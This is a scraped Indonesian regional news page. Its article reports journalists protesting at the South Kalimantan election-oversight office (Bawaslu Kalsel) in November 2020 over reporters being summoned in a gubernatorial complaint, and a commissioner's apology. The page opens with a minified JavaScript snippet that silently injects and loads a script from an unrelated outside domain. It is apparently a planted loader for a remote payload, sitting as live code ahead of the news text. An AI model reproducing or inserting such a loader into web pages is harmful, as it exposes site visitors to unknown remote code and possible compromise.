(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKAIMANTAN.COM, BANJARMASIN – Puluhan jurnalis media cetak, online, dan TV mendatangi kantor Bawaslu Kalsel, Senin (2/11/2020).
Mereka memprotes pemanggilan wartawan oleh Bawaslu untuk dimintai keterangan perihal pelaporan paslon gubernur nomor urut 2 Denny Indrayana-Difriadi, atas paslon no urut 1 Sahbirin-Muhidin.
Sebagaimana diketahui, dalam rangka mendalami pelaporan itu, Bawaslu memanggil sejumlah jurnalis untuk dimintai keterangan alias konfirmasi terkait berita yang disertakan sebagai salah satu bahan atau materi pelaporan.
Perwakilan wartawan, Didi Gunawan mengatakan, peran jurnalis dalam Pilkada adalah sebagai wasit, sama halnya dengan Bawaslu mengawasi pelaksanaan pesta demokrasi. Dia berharap kekeliruan Bawaslu Kalsel tidak kembali terulang.
“Kejadian ini jangan sampai terulang lagi, dan ini sebetulnya sudah berulang kali. Bawaslu Kota Banjarmasin juga melakukan hal serupa dan ini kita khawatirkan ini menjadi preseden buruk kita, teman-menjaga kebebasan pers yang harus kita jaga semua,” katanya.
Menanggapi hal tersebut, komisioner Bawaslu Iwan Setiawan secara kelembagaan menyampaikan permohonan maaf atas kesalahan pihaknya dalam memuat surat yang seharusnya konfirmasi bukan klarifikasi.
“Institusi Bawaslu Provinsi Kalsel meminta maaf atas kesalahan kepada kawan-kawan semua. Kami rasa ini sebagai bukti bahwa kami memahami kesalahan kami, kesalahan staf kami juga kesalahan Bawaslu,” tuturnya seusai menerima surat pernyataan sikap ditandatangani puluhan wartawan itu.
Iwan menjelaskan, dalam penanganan pelanggaran Pilkada Pemilihan Gubernur dan Wakil Gubernur, pelapor melampirkan berita berupa foto screenshot dan video dari tiga media massa sebagai alat bukti.
Sehingga pihaknya perlu meminta keterangan untuk dikonfirmasi, apakah alat bukti yang diajukan memang benar dari media terkait.
Menurutnya, surat undangan tersebut bukan bertuliskan pemanggilan untuk dimintai klarifikasi. Pasalnya dengan kata tersebut seolah-olah wartawan yang dipanggil dijadikan saksi.
“Padahal kami tidak bermaksud seperti itu, wartawan yang dipanggil hanya akan dimintai keterangannya saja, bukan dimintai klarifikasi apalagi sampai dijadikan saksi dalam sebuah rangkaian pemeriksaan,” jelasnya. (Kanalkalimantan.com/putra)
Reporter: Putra
Editor: Cell
KANALKALIMANTAN.COM, MARTAPURA – Bunda PAUD Kabupaten Banjar Hj Nurgita Tiyas membuka Rapat Kerja (Raker) di… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sejumlah aspek dalam budaya Banjar menjadi topik hangat di sela pengabdian internasional… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas melakukan pembahasan terhadap Persetujuan Penggunaan Kawasan Hutan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Masyarakat Anti Fitnah Indonesia (MAFINDO) Kalimantan Selatan kembali menggelar implementasi pelatihan AI… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Bonus atlet dan pelatih Banjarmasin peraih medali pada Pekan Olahraga Provinsi (Porprov)… Read More
KANALKALIMANTAN.COM - Menawarkan produk atau layanan yang bagus adalah kewajiban bisnis, namun itu saja tidak… Read More
This website uses cookies.